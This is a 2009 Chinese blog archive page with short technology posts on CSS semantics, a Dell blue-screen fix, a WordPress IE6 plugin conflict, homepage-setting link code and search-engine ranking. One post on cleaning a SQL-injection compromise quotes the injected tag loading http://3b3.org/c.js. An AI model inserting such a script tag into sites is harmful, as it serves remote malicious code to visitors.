Archive

Archive for the ‘Technology’ Category

Css学习要领

July 15th, 2009 No comments

初学DIV+CSS应该理解HTML标签的语义。

如今Web标准都被通俗的叫做“div+css”或者“层布局”。我不反对这种便宜行事的叫法。但是这样会陷入一个误区:即大量的使用div标签作为结构元素。事实上这是一种更高级的div滥用(Jeffrey Zeldman在《网站重构》一书中提到)。

HTML为我们提供了相当丰富的标签,每个标签都有它各自的含义。我认为在设计时,除了遵循HTML语法以外,应该充分利用并遵守各标签的“语义”。如标题文字应该包含在h1-h6中,大段的文字内容应该由<p>进行分段而不是<br />,列表项应该放在ul或ol或dl中,表格形式的数据应该仍然用table布局。

为什么要这样做?一个很有说服力的原因是,保证在用户去掉CSS显示的情况下,网页能够尽量有效的将内容的结构层次显示出来。如果全部用div,当去掉CSS之后,整个网页就失去了层次,只剩下一些杂乱的文字碎片。这并不符合Web标准对低配置兼容性的要求。

我下面详细的列举一下我对一些标签的语义的理解:

Read more…

Categories: Technology Tags: ,

DEll蓝屏解决办法之一

July 9th, 2009 No comments

隐私内容 »

我们公司用的电脑居然是DELL的!不可思议吧。更不可思议的是居然还是早已停产的DELL Optiplex GX270。最最不可思议的是它今天坏了我居然把它给整好了!

症状:自动蓝屏,说是什么Windows自动保护!重启正常,但是指不定什么时候又蓝了,如此反复,连绵不绝!

解决办法:

Read more…

Categories: Technology Tags:

Wp在IE6中-无法打开站点,已终止操作-解决办法

June 28th, 2009 5 comments

以前一直听到很多程序员及网站设计师抱怨说“万恶的IE6”,因为事不关己所以不以为然。但是最近WP在IE6下打开一半,给我弹出个无法打开站点,已终止操作。我才发现解决不争气的IE6问题,满足绝大多数人的使用习惯是多么的重要!

这次的情况比较特殊,所以不担保能药到病除!如果你的情况和我所描述的现象百分之百匹配,那恭喜你!是否在其它浏览器比如Firefox,和Google chrome里可以正常打开?是否首页在IE6下打开一半,弹出个无法打开站点,已终止操作? 是否about页面在IE6却可以打开?是否删掉部分文章在IE6下就可以正常显示了?是否…… ,可能症状有所不同,但有一点肯定是没错的:你别冲动说换主题,重装Wp,先冷静再冷静,思考再思考!

以前我一直使用腾讯的TT,它好像是继承的IE6。前几天写css的时候觉得浏览器肯定要兼容一下,就尝试使用起Firefox,结果被那小娘们的扩展性深深的魅惑了……从此我抛弃了IE6. 因为我不使用IE6了所以Wp在IE6里不能打开我并不知情。

出现Wp在IE6中’无法打开站点,已终止操作!’有这么几种情况:

第一、首先肯定不是被墙了,所以不要以为你很牛逼!因为在我看来被墙是非常荣耀的事情!被墙了你直接就打不开,不存在打开一半又弹出这么个东西。

第二、有人说是本机的问题,这里不谈本机的什么什么问题!你可以请你朋友帮忙打开,如果人家用IE6可以打开,你不能,那就是本机的问题!

第三、Wp出问题,要么就是你开始安装就存在的问题,我个人觉得其余的绝大多数问题都是插件引起的!所以一旦出了问题,请首先回忆一下最近有没有安装什么拉风的插件。把插件一个个停用看问题出在哪个插件上面!插件不兼容所导致的症状往往是五花八门,所以不要指望从某一项或者某几项症状去逆向推导出插件的问题!务必请一定要首先怀疑插件!

我这次的问题其实就出在插件Lightbox2上面,还枉我推荐一番……停用掉它之后所有的问题都迎刃而解!不知道换个主题是否兼容Lightbox2,反正我安装的INove和Lightbox2不兼容……

Categories: Technology Tags:

Nik Ainley的视觉世界

June 28th, 2009 No comments

Nik Ainley是来自英国的一名视觉设计师,主要工作为个人和企业提供新锐的视觉设计和插画。作品曾多次被Computer Arts杂志登载,并获得Computer Arts 杂志的“2006十佳创意设计师”荣誉

他的作品风格多变,但是都极具视觉冲击力。他将3D技术与2D完美结合,给予作品非常强烈的视觉冲击力。貌似他很喜欢文字设计,我也挺喜欢关乎字体的艺术设计!

参观网址:http://www.shinybinary.com/

Categories: Technology, Web Tags:

设为首页和加入收藏代码-灵活利用版

June 26th, 2009 No comments

有很多代码可以形成简单的功能模块,是可以灵活应用的!就比如我上次提到的右键防复制代码!以下代码在使用的时候请注意代码中的引号是否英文模式下书写!

设置为首页的方法为:
<a href=# onClick="this.style.behavior=’url(#default#homepage)’;this.setHomePage(‘URL’);event.returnValue=false;">设为首页</a>
URL就是你要设定的网址

要设置当前网页的地址为首页,你可以这样:
<a href=# onClick="this.style.behavior=’url(#default#homepage)’;this.setHomePage(document.location.href);event.returnValue=false;">设为首页</a>
上述方法采用javascript的document.location对象的href属性来获得当前网页的全路径。

同理,如果您只想将当前网页所在的域名地址设为首页,您只需将document.location.href改为document.location.host即可。示例如下:
<a href=# onClick="this.style.behavior=’url(#default#homepage)’;this.setHomePage(document.location.host);event.returnValue=false;">设为首页</a>
说明:如果当前网页的地址为:http://brucehan.com/archives/333,则会将当前网页的域名地址(www.brucehan.com)设为首页。

Read more…

Categories: Technology Tags: ,

如何清除<script src=http://3b3.org/c.js>

June 26th, 2009 2 comments

终于在我稀里糊涂乱搞一通的操作之下,它! 消云散了……我对SQL不熟悉,对SQL SERVER 2000-2008就更不熟悉了!还是新网告诉我的……上次Ewebeditor漏洞挂马我还记忆犹新,这次又来!

我再吼一遍:不要轻易把你的马子挂到我的网站上

挂马原理:通过网站程序漏洞SQL数据库注入挂马,一般的防注入代码貌似无效!

我的清除办法:首先是数据库批量清除<script src=http://3b3.org/c.js> </script>,这玩意儿太毒了,基本上数据库字符串型表都被加上了它!在SQL server2008 Management Studio里新建查询,然后贴上下面的代码清除数据库里的现有代码。执行之……我也不知道怎的……就可以了……好神奇!

Read more…

Categories: Technology Tags: ,

搜索引擎排序技术

June 19th, 2009 2 comments

Pagerank:这里就不介绍了。

HillTop算法 :

HillTop? 同样是一项搜索引擎结果排序的专利,是Google的一个工程师Bharat在2001年获得的专利。Google的排序规则经常在变化,但变化最大的一次也就是基于HillTop算法进行了优化。HillTop究竟原理如何,值得Google如此青睐?

其实HillTop算法的指导思想和PageRank的是一致的,都是通过网页被链接的数量和质量来确定搜索结果的排序权重。但HillTop认为只计算来自具有相同主题的相关文档链接对于搜索者的价值会更大:即主题相关网页之间的链接对于权重计算的贡献比主题不相关的链接价值要更高。如果网站是介绍“服 装”的,有10个链接都是从“服装”相关的网站链接过来,那这10个链接比另外10个从“电器”相关网站链接过来的贡献要大。

Bharat称这种对主题有影响的文档为“专家”文档,从这些专家文档页面到目标文档的链接决定了被链接网页“权重得分”的主要部分。

Read more…

Categories: Technology Tags:

语义分析

June 19th, 2009 No comments

为什么搜索某个关键词,排在前面的网页有时甚至不包含目标关键词?

SEO文案写作:如何提高关键词权重同时又避免关键词堆砌?

搜索引擎可以掌握词之间的关系,这得益于语义分析

潜在语义索引(Latent Semantic Indexing)

所谓潜在语义索引指的是,怎样通过海量文献找出词汇之间的关系。当两个词或一组词大量出现在同一个文档中时,这些词之间就可以被认为是语义相关。

Read more…

Categories: Technology Tags:

中文分词技术

June 19th, 2009 No comments

为什么有时候首页非目标关键词排名异常良好?

对于搜索引擎来说,最重要的并不是找到所有结果,因为在上百亿的网页中找到所有结果没有太多的意义,没有人能看得完,最重要的是把最相关的结果排在最前面,这也称为相关度排序

机器算法和人不一样的地方是人可以直接理解词的意思,文章的意思,机器和算法不能理解。人看到苹果这两个字就知道指的是那个圆圆的,有水的挺好吃的东西,搜索引擎却不能从感性上理解。

中文分词的准确与否,常常直接影响到对搜索结果的相关度排序。

Read more…

Categories: Technology Tags:

搜索引擎的更新周期及细化趋势

June 18th, 2009 1 comment

由于网站的内容经常在变化,因此网络蜘蛛也需不断的更新其抓取网页的内容,这就需要网络蜘蛛按照一定的周期去扫描网站,查看哪些页面是需要更新的页面,哪些页面是新增页面,哪些页面是已经过期的死链接。

搜索引擎的更新周期对搜索引擎搜索的查全率有很大影响。

如果更新周期太长,则总会有一部分新生成的网页搜索不到;周期过短,技术实现会有一定难度,而且会 对带宽、服务器的资源都有浪费。

搜索引擎的网络蜘蛛并不是所有的网站都采用同一个周期进行更新,对于一些重要的更新量大的网站,更新的周期短,如有些新闻网站,几个小时就更新一次;相反对于一些不重要的网站,更新的周期就长,可能一两个月才更新一次。

Read more…

Categories: Technology Tags: